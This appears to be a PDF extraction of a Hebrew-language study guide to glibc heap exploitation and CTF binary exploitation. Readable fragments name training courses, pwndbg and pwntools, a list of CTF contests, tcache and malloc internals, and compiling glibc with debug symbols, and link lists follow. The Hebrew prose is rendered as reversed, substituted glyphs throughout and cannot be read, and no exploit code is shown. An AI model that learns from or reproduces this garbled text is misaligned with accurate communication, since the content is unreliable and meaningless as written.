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˸˞ˬ ˧ˮˮ˟ ˭ˡ˧˰ 

 

ˢˬˡ˵ˢ 

˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥ ˭ˣˮˠˮˬ˟ ˸˞˴˵ˢ ˭ˣ˶˩˧ˤˢ ˧ˬˮ˧ˡˢ ˪˷ glibc ˢˣˣˢˬ ˸˶ˣ˯ˬ ˫˧˶˵˞ˢ ˶˟˩ ˶˸ˣ˧ ˬ-нл ˫˧ˮ˷ 

˭˧˧ˡ˰ˣ ˟˷˥ˮ ˪˫ˣ˥˸ ˧˟˧˦˵˞ ˭˧˧˲ˣ˞ˬˢ ˸ˣˮ˷ˡ˥˟ ˸ˡˬ˸ˬ ,˭ˢ ˡ˴ˬ ˧˥˸˲ˬ ˸ˣˮˠˢˢ ˣ˪˷ ˭ˢˣ ˡ˴ˬ ˣ˪˞ 

˫˧˯ˮˬ˷ ˶ˣ˟˷˪ ˭˸ˣ˞ ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ ˫ˢ˧˸ˣ˶˦ˬ.  

˫˩˧ˮ˲˪ ˶ˬ˞ˬˢ ˱˧˵ˬˢ ˶˸ˣ˧˟ ˞˷ˣˮ˟ ˢˤ ˶˷˞ ˫˯˶˲˸ˢ ˭˞˩ ˡ˰ ˢ˩ .˞ˣˢ ˫˩˯ˬ ˤ˩˶ˬˣ ˸˞ ˰ˡ˧ˬˢ ˳ˣ˥ˮˢ 

˧ˡ˩ ˡˣˬ˪˪ ˸˞ ˞˷ˣˮˢ ˯˲˞ˬ ˪ˣ˩˧ˣ ˷ˬ˷˪ ˫ˠ ˸˞ ˧ˬ ˞˷ˣˮˢ˷ ˶˩ˣˬ x˪ ˶ˣ˸˟ quick reference x˞ ˧ˡ˩ 

˟˧˥˶ˢ˪ ˸˞ ˣ˧˸ˣ˰˧˶˧ .˞ˣˢ ˯˯ˣ˟ˬ ˣ˟ˣ˶˟ ˪˰ ˨ˬ˯ˬ ˯˶ˣ˵ˬ ˫˷˟  HeapLab˸˞ˬ Max Kamper )˶˵ˣ˥ 

˥˸˲ˬˣ exploits ,˷˧˞ˢ ˡˬˣ˰˷ ˧˶ˣ˥˞ˬ mporiumE OPR .(˰ˬ˸˷ˬ˩ ˫˷ˬ ˯˶ˣ˵ˢ - ˦˶˲ ˢ˷ˠˮˢ˪ ˪˷ 

˶ˬˣ˥ˢ ˧˦˶ˣ˞˸ˢ ,˞ˣˢ ˪˪ˣ˩ "˸ˡ˟˰ˬ "˪ˣˠ˶˸ ˫˰ ˫˧˶ˠ˸˞ ,˫˧˪˵ ˡ˰ ˫˧˷˵ ,˫˧ˣˣ˪ˬˢ ˸ˣˮˣ˶˸˲˟ ˫˧˩˶ˡˣˬ 

ˢˬˠˣˡ˪ ˸˟˧˟˯ˣ ˪ˣˠ˶˸ ˪ˣˬ ˸ˣ˞˯˶ˠ ˸ˣˮˣ˷ ˪˷ glibc .ˢˬˣˡ˟ ˪-ROP Emporium ,˫ˠ ˫˧˪˧ˠ˶˸ ˣ˪˞ ˣˡ˰ˣˮ 

ˡ˵ˬ˪ ˡˡˣ˟˪ˣ ˸˞ ˢˡ˧ˬ˪ˢ ˪˷ ˞˷ˣˮˢ ˫˧˞˷ˣˮˬ ˫˧ˬ˧˪˷ˬ )ˢ˯ˡˮˢ ˶ˣ˥˞˪ ˣ˩ˣ .('˭˷˯ ˢˬˠˣˡ˪ ˱˲ˣ˥ˢ ˣ˟ˣ˶˟ 

˵˶˲˪ ˭ˣ˷˞˶ˢ ˯˶ˣ˵˟ ˭˸˧ˮ ˢ˧˧˲˴˪ ˭˞˩ ˭˞˩ˣ .˫˧ˮ˧˧ˮˣ˰ˬ˪ - ˵ˮ˧˪ ˵˪˥˪ ˭ˣ˷˞˶ˢ ˢ˶ˡ˯˟ )˨ˣ˸ˬ ˢ˷ˣ˪˷ ,-sо 

˞˴ˣ˧ ˟-нлнн (˪˷ ˯˶ˣ˵ˢ ˣˬ˴˰ - ˶ˣ˷˧˵ )˪˧˩ˬ referral code ˪˷ ˶˴ˣ˧ ˯˶ˣ˵ˢ ˪˰ ˸ˮˬ ˨ˣˬ˸˪ x˟ ,˟˷˥˸ˢ˟ 

˸˦˧˷˟ ˪ˣˬˠ˸ˢ ˫˧˶˴ˣ˧˪ ˢˬ˶ˣ˲˦˪˲˟ ˸˧˦ˮ˶˦ˮ˧˞ˢ .( 

˧ˣ˪˧ˠ ˪ˣ˴˧ˮˣ ˸ˣ˷˪ˣ˥Heap  ˞˪ ˧˞˶ˣˮ ˡ˧˥˲ˬˣ ˣˬ˩ ˧˪ˣ˞˷ ˫˸˟˷˥ ,˦˶˲˟ ˸ˣ˩ˤ˟ ˫˧˪˩ ˣˬ˩ pwndbg )˸˧˟ˬ 

˶˴ˣ˧ˢ ˪˷ ˸˧˧˶˲˯ pwntools (˶˞˷ˣ ˫˧˪˩ ˫˧˧˪˞ˣˤ˧ˣ ˸˷˥ˬˢ˪ ˟˴ˬ ˭ˣ˶˩˧ˤˢ .ˢˬ ˢ˲˧˷ ˢ˷˧ˮ˟ xʕ ˪˷ 

ˢ˧˴˦ˣ˪˲˯˵˞ ,ˢˤ ˞˧ˢ˷ ˢ˶˧˞˷ˬ ˢ˟˶ˢ ˫ˣ˵ˬ ˸ˣ˧˸˶˧˴˧˪ ˭ˣ˧ˬˡˣ ˪˷ ˥˸˲ˬ s-exploit ˪˩˟ ˶ˣ˷˵ˢ 

ˢˬ˶˰ˢ˪ ˪˰ ˭ˣˮˠˮˬ ˢ˞˴˵ˢˢ .˸ˣ˲˵˸ˬˢ ˸ˣ˟˩˶ˣˬˢ ˸ˣˬ˩˥ˣ˸ˬˢˣ ˶˸ˣ˧ )˫˞ ˧˩ ˫˧ˬ˰˲˪ ˢ˴˶ˮ ˸˞ 

˨˶ˡˢ/˶ˣ˦˵ˣ ˢ˲˧˵˸ˢ ˧˩ˢ ˦ˣ˷˲ ˶˧ˢˬˣ ˪ˣ˴˧ˮ˪ ˢ˷ˣ˰˷ ˸˞ ˢˡˣ˟˰ˢ (˸ˣ˟˪˷ˬ ˢˬ˩ ˫˧˦ˮˬ˪˞ ˫˧ˮˣ˷ ˸˶ˣ˴˟ 

˸˶˷˶˷ )chain exploit ,(˶˷˞˩ ˫˵˪˥ ˫˧˰ˠˣˮ ˢ˴˵ˬ˪ ˭ˣ˶˩˧ˤˢ ˢ˶˵ˬ˟ ˣˮ˪˷ .˧ˣ˞˶˩ ˶˵˥ˬ˪ ˸ˣ˷˪ˣ˥ Low-

level ,˷˶ˡˮ ˭˞˩ ˭ˣˬˢ ˤˣ˩˧˶ ˢˡˣ˟˰ˣ ˢ˶ˣ˴˟ ˸˶ˡˣ˯ˬ ˸ˡ˰ˣ˸ˬˣ ˟˦˧ˢ .˷ˣˬ˧ˬ ˥˪˴ˣˬ ˪˷ exploit ˟˩˶ˣˬ 

˪ˣ˩˧ ˨˷ˬ˧ˢ˪ ˫ˠ ˢˬ˩ ˸ˣ˰ˣ˟˷ ˢ˶˵ˬ˟ˣ ˪˷ "˫˧ˮ˵˥˷ "˸˧˧˶ˣˠ˦˵˟ APT ,˪ˣ˩˧ ˸˥˵˪ ˫ˠ ˫˧˷ˡˣ˥. 

https://ropemporium.com/
https://www.youtube.com/watch?v=xn1S5I2wGH8
https://www.youtube.com/watch?v=s-GJ-buCGio
https://www.udemy.com/course/linux-heap-exploitation-part-1/?referralCode=362370A773BCC3F2730A
https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md
https://docs.pwntools.com/en/stable/
https://en.wikipedia.org/wiki/Advanced_persistent_threat
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˶ˬ˞ˬ ˢˤ ˯˥˧˧˸ˬ ˪-Glibc x-Malloc ˸˟˧˟˯˟ ˯˵ˣˮ˧˪ )˦˶˲˟ˣ ˸˴˲ˢ˟ Ubuntu ,(˞ˣˢ ˟˷˥ˮ ˥˷˵ˣˬ˪ 

˸˧˯˥˧ ˧ˮ˲ˬ ˸ˣ˲˵˸ˬ Heap ,˪˰ˣ ˭˩ ˧ˣ˷˰ ˸ˣˣˢ˪ ˯˧˯˟ ˧˸˟˷˥ˬ ˟ˣ˦ ˧ˮ˲˪ ˸ˣ˵˯˰˸ˢ ˫˰ ˫˧˷ˣˬ˧ˬ ˫˧˶˥˞ 

˪˷ ˭ˣˠˮˬ ˸ˣ˞˴˵ˢ ˭ˣ˶˩˧ˤˢ ˫˧˞˴ˬˮˢ ˷ˣˬ˧˷˟ ˸ˬˠˣˡ ,musl Jemalloc x-Scudo. 

˵˪˥˟ ˧ˮ˷ˢ ˶ˬ˞ˬ˟ ˫˧ˠˡ˞ ˧˟˪˷ ˭ˣ˶˸˲ ˪˷ ˫˧˶ˠ˸˞ ˢˬˠˣˡ˪ ˸ˣ˧ˣ˶˥˸ˬ CTF .˭˧˟ ˫˧ˮˣˠ˶˞ˢ ˸ˣ˴ˣ˟˵ˢˣ 

˸ˣˬ˧˧˵ˬˢ ˸ˣ˧ˣ˶˥˸ ˭˸˧ˮ˷ ˞ˣ˴ˬ˪ ˫ˢ˟ ˫˧˶ˠ˸˞ ˫˧˟˷˥ˮˢ ˶˸ˣ˧˪ ˫˧˧ˮ˶ˡˣˬ-˫˧˧˸ˣ˞˧˴ˬ x/x˞ ˫˧˷˵ ˞˷ˣˮ˟ 

ˢˤ ˫˧˞˴ˬˮ :Defcon ,Plaid ,Blaze ,Google-ctf ,Dragonctf ,C3CTF ,BalsnCTF ,HITCON ,0CTF,Hack.lu 

ASIS ,TokyoWesterns ,CSAW ,RaRCTF ,TSG ˣ˩ˣ .'˶˷˞˩ Own2Pwn ˞˧ˢ ˸ˣ˶˥˸ˢ ˸˧ˬ˪ˣ˰ˢ ˸˧˸˶˵ˣ˧ˢ 

˶˸ˣ˧˟ ˪˩˟ ˶ˣ˷˵ˢ ˪ˣˬˠ˸˪ ˧˲˯˩ˢ ˧˸ˣˣ˴˪ ˫˧˶˵ˣ˥ˢ ˣ˥˧˪˴˧˷ ˸ˣ˪ˠ˪ ˷˧ˬ˷ˢ˪ˣ ˸ˣ˷˪ˣ˥ ˸ˣˮ˩ˣ˸˟ ˫˧ˮ˵˸ˢˣ 

˫˧˧˶˥˯ˬ/˫˧˧˸˧˷˰˸ ,˵˪˥ ˸ˣ˷˪ˣ˥ˢˬ ˣ˪ˠ˸ˢ˷ ˨˪ˢˬ˟ ˸ˣ˶˥˸ xʕ ˸ˣ˰ˠˣˮ ˫ˠ ˪-Heap. 

˰˵˶ ˳˪ˬˣˬ: ˷ˣˬ˧˷ ˧˪˩˟ command line ,˸ˣ˪ˣ˩˧ ˸˟˧˸˩ ˫˧˦˲˧˶˵˯ ˭ˣ˸˧˧˲˟ ,˸ˣ˶˩˧ˢ ˫˰ ˸ˣ˟˧˟˯ debug 

˸ˬˠˣˡ GDB,x86-64 assembly  ,Linux binary exploitation ,C program memory layout ,˥ˣ˸˧˲ ˟-C ,

˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ,Reverse engineering ,vTables (virtual functions table for exploiting file structures) 

ˢ˶ˢ˟ˢ: ˸˞˲ˬ ˧˴ˣ˪˧˞ ˭ˬˤ ,˟ˣ˶ ˸ˣ˵˧ˮ˩˦ˢ ˸ˣˬ˯˶ˣ˲ˬˢ ˸ˣ˶˵ˣ˯ˬ˷ ˸˞˶˵˪ ˱ˣ˯ ˶ˬ˞ˬˢ ˞˪ ˸ˣ˪˪ˣ˩ ˸ˣ˧˴ˬ˧ˮ˞ x-

writeup ˫˪˷ ˪˩˪ ˸˥˞ ˭ˢˬ ˪˰ ˸˲˧˵˸ ˧˶˞ˮ˧˟ ˢˬˠˣˡ˪ )˪˷ ˸˧ˮ˩ˣ˸ ˢ˸ˣ˞ ˫˧˲˵ˣ˸ ,˪˷ˣ s-exploit ˢˡˠˮ˩ .(ˢˬ ˫ˠ 

ˢˤ˷ ˢ˧ˢ ˪˧˲˩ˬ/˷˪˷ˬ ˸˞ ˸ˣˬ˩ ˫˧ˡˣˬ˰ˢ ˨ˬ˯ˬ˟ .˧˰˴ˬ˞˩ ˫˧˪˷ˬ - ˭˸˧ˮ ˸ˣˮ˲˪ ˯˶ˣ˵˪ ˮˢ"˪ )˸ˣ˶ˬ˪ ˨˶ˣ˞ˢ˷ 

˪˪ˣ˩ˢ ˪˷ ˫˧ˮˣ˦˶˯ˢ ˪˩˟ ˵˪˥ ˢ˶ˡ˯˟ ˞ˣˢ ˭˧˟ с ˪-у ˸ˣ˰˷ ,˶ˣ˸˲˪ ˫˩ˬ˴˰˟ ˢ˶ˣ˴˟ ˸˶ˡˣ˯ˬ ˸˞ ˫˧˪˧ˠ˶˸ˢ ˫ˣ˩˧˯ˣ 

˪˷ ˪˩ ˫˧˦˶˲ˢ ˫˧ˮ˦˵ˢ ˪ˣ˩˧ ˸˥˵˪ ˢ˟˶ˢ ˶˸ˣ˧ ˢˤˬ .ˢˬ ˫ˠ ˨ˬ˯ˬˢ˷ ˣ˧˪˰ ˯˯ˣ˟ˬ ˶ˬ˞ˬˢ ˞˪ ˪˪ˣ˩ ˸˞ ˪˩ ˫˧˦˶˲ˢ 

˫˧ˮ˦˵ˢ ˸˞ˣ ˪˩ ˭ˣˣˠˬ ˸ˣˮˣ˧˰˶ˢ ˫˧ˠ˴ˣˬ˷ ˯˶ˣ˵˟ ˟x-Q&A ˣ˪˷ .˨˶ˣ˴˪ ˢ˥˧˪˴ ˪˷ ˫˧˶ˠ˸˞ˢ ˠ˧˴ˬ˷ ˞˷ˣˮ ˢˤ ,˸˷˶ˡˮ 

˸ˣ˧˸˶˧˴˧ ,ˢˡˣ˟˰ ˢ˶ˣ˴˟ ˸˶ˡˣ˯ˬ ˸˪ˣ˩˧ˣ ˶ˣ˸˧˞ ˸ˣ˷˪ˣ˥ ˡˣ˵˟ ˪˷ glibc .ˣˬ˩ ˭˩ ˳˪ˬˣˬ ˸˰ˬ ˸˰˪ ˭˧˧˰˪ ˸ˣ˶ˣ˵ˬ˟ 

˫˧˲˶ˣ˴ˬˢ ˱ˣ˯˟ ˨ˬ˯ˬˢ x˞ ˷˲˥˪ CTF write-ups ˸ˣ˧ˣ˶˥˸ˬ ˶˟˰ ˸ˣ˯ˮ˪ˣ ˱ˣ˵˸˪ ˫˸ˣ˞ ˨˶ˡ˟ ˫˩˪˷ˬ .˪˧˲ˣ˶˲˟ 

˟˞ˢ˦˧ˠˢ ˧˪˷ ˢ˧ˢ˧ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˨˷ˬˢ˟ ˪˩˪ ˸ˣ˥˲ˢ cheat-sheets ˧ˮ˧ˬˣ ˫˧ˬˣ˩˧˯ ˞˷ˣˮ˟. 

 

˫˧˷ˠˡ ˸ˣ˴˪ˬˢˣ ˧˟ˠ˪ ˢˡˣ˟˰ ˫˰ ˨ˬ˯ˬ ˢˤ : 

˪˩˟ ˸˰ ˳˪ˬˣˬ ˸ˣ˯ˮ˪ ˶˸˞˪ ˡˣ˵˟ ˪˷ glibc ˸˞ ˫˧˰˦˵ˢ ˫˧˧˦ˮˣˣ˪˶ˢ ˢˬ˪ ˫˸˞˷ ˫˧˞˶ˣ˵ .˶˷˲˞ ˫ˠ 

˸ˣ˯ˮ˪ ˞ˣ˶˵˪ ˭˧˟ˢ˪ˣ ˸˞ ˭ˣ˧˰˶ˢ ˧˪˪˩ˢ ˪˷ ˡˣ˵ˢ ˪˷ ˢ˴˵ˬ ˭ˣ˶˩˧ˤˢ )malloc.c ,˪˧˥˸ˢ˪ ˸ˣ˧˴˵ˮˣ˲ˢˬ 

˸ˣ˧˶˵˧˰ˢ ˣˬ˩ malloc x-free ˫˷ˬˣ ˨˧˷ˬˢ˪ ,(˶˥˞ˣ ˨˩ ˭ˣ˥˟˪ ˣ˸ˣ˞ ˸˧ˬˮ˧ˡ )˳˧˶ˢ˪ ˟ˡ˪ˣ ˸ˣ˞ˬˠˣˡ ˡˣ˵ 

˸ˣˮ˦˵ ˸ˣ˷ˣ˰˷ ˷ˣˬ˧˷ ˟-API .(ˣˬ˩ ˭˩ ˭˸˧ˮ ˱˞ˣ ˳˪ˬˣˬ ˨ˣ˸ ˧ˡ˩ x˞ ˶˥˞˪ ˫˸˞˷ ˫˧˞˶ˣ˵ ˪˰ ˢ˵˧ˮ˩˦ 

˷˲˥˪ ˫˧˪˧ˠ˶˸ ˫˧˶ˣ˷˵ )˭˧˟ ˫˞ ˞˪˪ ˭ˣ˶˸˲ x˞ ˣ˪˞˩ ˫˧˪˪ˣ˩˷ ˭ˣ˶˸˲ ˨˶ˡˣˬ (˧ˡ˩ ˞ˡˣˣ˪ ˢˮ˟ˢˢ˷ ˫˩˪˷ 

˸ˬ˞ˣ˸ ˸ˣ˞˧˴ˬ˪ .˸˞ ˫˧˪˧ˠ˶˸ˢ ˨ˣ˸ˬ ˯˶ˣ˵ˢ ˶˩ˤˣˬˢ ˭˧˞ ˧˸ˣ˶˷˲˞˟ ˱˸˷˪ ,˭˩˪ ˧˸˲˶˧˴ ˱ˣ˯˟ ˶ˬ˞ˬˢ 

ˢˬ˩ ˫˧˶˸˞ ˫˧˧˦ˮˣˣ˪˶ ˪ˣˠ˶˸˪ .ˡ˧ˬ˸ ˶˷˲˞ ˷˲˥˪ ˫˧˶ˠ˸˞ ˸ˣ˧ˣ˶˥˸ˬ CTF ˞˷ˣˮ˟ ˫˧˧ˣ˯ˬ ˰"˧ ˷ˣ˲˧˥ ˣˬ˩ :

άǎǳōƧŜŎǘκǾŀǊƛŀōƭŜψƴŀƳŜ ƎƭƛōŎψǾŜǊǎƛƻƴ ƘŜŀǇ ŜȄǇƭƻƛǘ ŎǘŦέ ˫˶ˠ˪˦˟ ˷˧ ˳ˣ˶˰ ˡˬ˥ˮ ˱˯ˣ˞˷ ˸˧˦ˬˣ˦ˣ˞ 

˸ˣˮˣ˶˸˲ ˫˧˷ˡ˥ ˬ-ctftime ˱˶˴ˬˣ ˫ˢ˪ ˸˞ ˫˧˞˷ˣˮˢ ˫ˢ˪˷ .˭˸˧ˮ ˷˲˥˪ ˫ˠ ˫˷ ˧˲˪ ˸ˣ˪˧ˬ ˸˲ˬ.˥ 

https://www.gnu.org/software/libc/
https://www.gnu.org/software/libc/manual/html_node/The-GNU-Allocator.html
https://android-developers.googleblog.com/2020/06/system-hardening-in-android-11.html
https://en.wikipedia.org/wiki/Pwn2Own
https://github.com/IdanBanani/Binary-exploitation-Pwn
https://github.com/IdanBanani/Binary-exploitation-Pwn
https://t.me/ctftime_pyramid
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˟ˣ˷˥ ˶ˬˣ˪ ˫ˠ˷ ˫˞ ˫˸˞ ˫˧˰˵˸ˮ ˭ˣ˶˸˲˟ ˪˷ ˪˧ˠ˶˸ ˫˧˧ˣ˯ˬ ˸˪˧˥˸˟ ˨˶ˡˢ ,˦˶˲˟ˣ ˫ˣ˥˸˟ ˪˷ heap-

exploits ,ˢˤ ˧˰˟˦ ˭˧˦ˣ˪˥˪ ˭˧˞ˣ ˢ˟˧˯ ˷˧ˠ˶ˢ˪ ˰˶ ˧˟ˠ˪ ˢˤ .˳ˬ˞ˬˢ ˡ˧ˬ˸ ˶˞˷˧ ,˞ˣˢ ˦ˣ˷˲ ˱ˣ˪˥˧ ˶ˢˬ 

˶˸ˣ˧ ˪˩˩ ˣ˶˟˴˸˷ ˭ˣ˧˯˧ˮ .ˢ˧ˠˣ˪ˣˡˣ˸ˬ ˢˬˠˣˡ˪ ˶ˣ˟˰ ˢˡ˧ˬ˪ ˪˷ ˢ˧˴˦ˣ˪˲˯˵˞ ˶˵˥ˬˣ ˸ˣ˷˪ˣ˥ ˶˷˲˞ ˞ˣ˴ˬ˪ 

˭˞˩ :˵˪˥ м ,˵˪˥ н ,˵˪˥ о 

ˢ˟˧˯ˬ ˧ˢ˷˪˩ ,˸˧˟˶ˬ ˸ˣ˶ˣ˵ˬˢ ˸˷˶˟ )˫˧ˠˣ˪˟ ,˧˶ˠ˸˞ CTF ˣ˩ˣ ('˪˰ ˫˧˦˟˧ˢ ˫˧˟˩˶ˣˬ ˪˷heap 

exploitation ˭˧˟ˣ ˶˞˷ˢ ˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥ ˫˧ˮˣˮˠˮˬ˟ ˫˧˶˥˞ ˪˷ glibc ˧ˡ˩ ˶˟ˠ˸ˢ˪ ˪˰ ˸ˣ˥˷˵ˢ heap 

˸ˣ˧ˮ˶ˡˣˬ ˫˧˩˶ˡ˟ "˸ˣ˧˸˶˧˴˧ "˫ˢ ˸ˣ˲˷˟ ˸˧ˮ˧˯/˸˧ˮ˲˧/˸˧ˮ˞˧˶ˣ˵/˸˧ˮ˧˶ˡˮˬ )˸ˣ˲˷ ˸ˣ˴ˣ˲ˮ ˸˷˟˧˟ ˢ˧˯˞ ,(

˶˰˲˟ ˶˩˧ˮ ˪˰ ˸ˣ˶ˣ˵ˬ ˢ˲˷˟ ˸˧˪ˠˮ˞ˢ ,˞˪ ˶ˣ˶˟ ˫˞ˢ ˢˤ ˧˩ ˧˶ˠ˸˞ CTF ˫˧˷˵ ˫ˢ ˵˪˥ ˸ˣ˟˶˸ˢˬ ˫ˢ˪˷ 

)˶ˣ˸˟ ˵˥˷ˬ  /˵˪˥ ˨ˣˮ˧˥ˢˬ ˥ˣ˷˵ˢ ˫ˢ˪˷ (ˣ˞ ˧˩ ˶˟ˣˡˬ ˸ˣˮ˧ˡˬ˟ ˸ˣ˷ˣ˰ˢ ˷ˣˬ˧˷ ˶˩˧ˮ ˶˟˧˧˯˟ ˧˲˵˸ˢ 

ˡˠˮ˩ ˸ˣˮ˧ˡˬ ˸ˣ˶˥˞ .˪˞ ˣ˷˷˥˸ ˷ˬ˸˷ˢ˪ ˧˪˩˟ ˫ˣˠ˶˸ )ˣˬ˩ DeepL Translate (˧ˡ˩ ˡˣˬ˪˪ ˫ˠ ˸ˣ˶ˣ˵ˬˬ 

ˣ˪˞ . 

˫˧˦˟˧ˢ/˫˧˶ˠ˸˞ ˫˧˧ˮ˩˦ ˫˧˶ˣ˷˵ˢ ˥ˣ˸˧˲˪ ˢˮ˩ˣ˸ 

˶˧˟˯ ˥˧ˮˢ˪ ˫ˡ˵ˣˬ˟˷ x˞ ˶˥ˣ˞ˬ˟ ˣ˴˶˸ x˞ ˣ˴˪˞˸ ˨ˣ˶˰˪ ˪˲ˬ˵˪ˣ ˡˣ˵ ˫˩˪˷ x˞ ˪˷ ˣˢ˷˧ˬ ˶˥˞ ˫˸˞˷ 

˫˧ˮ˧˧ˮˣ˰ˬ ˭ˣ˥˟˪ )˭˧˟ ˫˞ ˢˤ˩ ˪˧˩ˬ˷ ˶˟˩ ˦˧ˣ˪˲˯˵˞ ˪˷ ˢ˲˵˸ˬˢ x˞ ˢˤ˩ ˷˶ˣˡ˷ ˫˩ˬ ˸ˣˮ˟˪ ˣ˸ˣ˞ (- 

ˣ˷˶ˡ˧˸ ˸ˣ˷˰˪ ˸˞ˤ ˢ˧˴˶ˣˠ˧˲ˮˣ˵˟ ˢˬ˧˞˸ˬˢ ˸ˣˮˠˢ˪ )Hardening (˸˦˧˷˪ˣ ˶ˣ˴˧˧ˢ ˸ˣ˧ˣ˴˶ˢ .ˢ˧˴˲ˣ˞ˢ 

ˢ˦ˣ˷˲ˢ ˶˸ˣ˧˟ ˶ˣ˟˰ ˳˟ˣ˵ ˡˡˣ˟ ˞˧ˢ ˨˶ˡ ˸˶ˣ˷ ˸ˣˡˣ˵˲ˢ/˪ˮ˧ˬ˶˦ ˫˰ ˸ˣ˧ˣ˶˷˲˞/˫˧˪ˠˡ ˫˧ˬ˧˞˸ˬ ˪˷ˬ˪ 

˫˰ gcc .˧ˡ˩ ˨ˣ˲ˢ˪ ˸˞ ˨˧˪ˢ˸ˢ ˧˦ˬˣ˦ˣ˞˪ ˶ˡˣ˯ˬˣ ˶˸ˣ˧ ,˧ˣ˴˶ ˷ˬ˸˷ˢ˪ ˦˲˧˶˵˯˟ ˸ˬˠˣˡ ˳˟ˣ˵Makefile  

˶ˣ˟˰ gcc x-clang x˞ ˳˟ˣ˵ .txtCMakeLists ˶ˣ˟˰ CMake )˭˩˸˧˧ ˫˩˵˪˥ˣ ˫˧˷ˬ˸˷ˬ ˢˡˣ˟˰˟ ˟-GNU 

Autotools ˶ˣ˟˰ ˫˧˦˵˧ˣ˶˲ ˫˧˪ˣˡˠ ,(ˣ˞ ˸ˣ˷˰˪ ˸˞ˤ ˨˶ˡ IDE x˟ ˣ˶ˡˠˣ˧ ˫˧˪ˠˡˢ ˨˶ˡ GUI/˸˧ˮˡ˧ )CLion 

˪˷ˬ˪ ˣˮ˧ˢ˷ ˧ˬˮ˧˥ ˶ˣ˟˰ ˫˧˦ˮˡˣ˦˯ .(˧˩˶˴˪ ˢˡ˧ˬ˪ - ˧ˣ˴˶ ˪˵˲ˬ˵˪ ˫˰ debug symbols ˸˶ˤ˰˟ ˸˲˯ˣˢ 

˪ˠˡˢ-g  ˧˪ˠˡ˪ ˪ˣ˲ˬ˧˵ˢ )˨˩ ˣ˪˩ˣ˸˷ ˸˰˟ ˠ˞˟˧ˡ ˸ˣ˞˶˪ ˞˪ ˵˶ ˸˞ ˧˪˟ˬ˯˞ˢ ,˞˪˞ ˫ˠ ˸˞ ˸ˣ˶ˣ˷ ˡˣ˵ 

˶ˣ˵ˬˢ ˭ˢ˟ ˫˸˞ ˫˧˞˴ˬˮ .(ˣˬ˩ ˭˩ ,˭˩˸˧ ˟˪˷˟˷ ˣˢ˷˪˩ ˣ˴˶˸ ˪˵˲ˬ˵˪ ˫˩ˬ˴˰˟ ˸˞ glibc ˧˶˥˞ ˣ˰˴˟˸˷ 

ˣ˟ ˫˧˧ˣˮ˧˷ ˡˣ˵˟ ˶ˣ˵ˬˢ ˣˬ˩ ˪˷ˬ˪ ˪˦˟˪ ˭ˣˮˠˮˬ ˫˷˟ tcache ˧˩˶˴˪ ˢ˥˷˵ˢ )ˠˣ˯ ˪˷ patching ,(˦˶˲˟ˣ 

˫˰ debugging symbols x˞ ˷˲˥˪ ˸ˣ˞˯˶ˠ ˸ˣˮ˩ˣˬ ˣ˪˲ˬˣ˵˷ ˨˩ )ˣˬ˩ ˣ˪˞ ˸ˣ˵˲ˣ˯ˬ˷ ˯˶ˣ˵˟ ˮˢ"˪( ˧ˡ˩ 

˪˟˵˪ ˸˞ ˸˪ˣ˩˧ˢ ˮˢ"˪ ˫ˠ ˶ˣ˟˰ ˡˣ˵ˢ ˪˷ libc. 

ˢˬ˧˷˶ ˪˷ ˧˪ˠˡ s-ά/C[!D{έ ˷-gcc ˸˩ˬˣ˸ ˫ˢ˟ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˭˞˩ ,˭˞˩ˣ. ˢˬ˧˷˶ ˪˷ ˧˪ˠˡ s-"άLDFLAGS 

ˢ˷-GNU linker (ld) ˨ˬˣ˸ ˫ˢ˟ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˭˞˩ .˪˰ˣ˲˟ - ˡ˟"˩ ˷ˬ˸˷ˮ ˵˶ ˵˪˥˟ ˭˦˵ ˫ˢˬ .ˢ˶˧˵˯ ˪˷ 

˧ˮˣˮˠˬ ˢ˥˦˟˞ˢ ˶˪˧˧˲ˬˣ˵ˢ˷ ˪ˣ˩˧ ˯˧ˮ˩ˢ˪ ˶ˣ˟˰ Ubuntu ˭˸˧ˮ ˞ˣ˴ˬ˪ ˭˞˩ .˫˧˧˵ ˭ˣˣˠˬ ˟˥˶ ˪˷ ˸ˣ˥˷˵ˢ 

˶ˣ˟˰ "˧˴˟˵ ˸˶ˣ˴˸ ˢ˴˧˶" ˣ˴˪˞˧˷ ˣˮ˸ˣ˞ ˳ˬ˞˸ˢ˪ ˸˴˵ ˶˸ˣ˧ )˪˷ˬ˪ ˢ˥˧˶˟ ˬ-sandbox ,(˸˞ ˢˬ˧˷˶ˢ 

ˢ˞˪ˬˢ ˶ˣ˟˰ Ubuntu ˭˸˧ˮ ˞ˣ˴ˬ˪ ˫ˠ ˭˩ ˣ˸ˣ˞˟ ˶˸˞  ,˭ˣ˧ˡ ˪˰ ˨˧˞ ˫˧˶˧ˡˠˬ ˸˞ ˫ˣˬ˧˯˵ˬ ˸ˣˮˠˢˢ ˫˰ gcc 

˭˸˧ˮ ˞ˣ˴ˬ˪ ˭˞˩ .ˢˬˠˣˡ ˡ˪˷˪ ˧˪ˬ˧ˮ˧ˬ ˪˷ makefile ˶˷˲˞ ˞ˣ˴ˬ˪ ˭˞˩ .˸ˣ˞ˬˠˣˡ ˪-makefiles ˫˧˷ˣ˰ˢ 

˷ˣˬ˧˷ ˟-clang ˭˸˧ˮ ˸ˣ˞˶˪ ˶ˠ˸˞˟ ˟˷ˢ"˩ нлнм . 

https://dayzerosec.com/blog/2021/05/20/from-ctfs-to-the-real-world-an-overview.html
https://dayzerosec.com/blog/2021/05/21/from-ctfs-to-real-vulnerabilities-part-2.html
https://dayzerosec.com/blog/2021/05/22/from-ctfs-to-real-exploitation-part-3.html
https://www.deepl.com/translator
https://opensource.com/article/21/6/linux-checksec
https://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/
https://blog.quarkslab.com/clang-hardening-cheat-sheet.html
https://github.com/EdgeCast/hurl/blob/master/CMakeLists.txt
https://www.gnu.org/software/automake/faq/autotools-faq.html
https://www.gnu.org/software/automake/faq/autotools-faq.html
https://www.gnu.org/software/automake/faq/autotools-faq.html
https://www.jetbrains.com/community/education/#students
https://www.gnu.org/software/libc/manual/html_node/Installation.html#Installation
https://gcc.gnu.org/onlinedocs/gcc/Option-Summary.html
https://man7.org/linux/man-pages/man1/gcc.1.html
https://sourceware.org/binutils/docs/ld/Options.html#Options
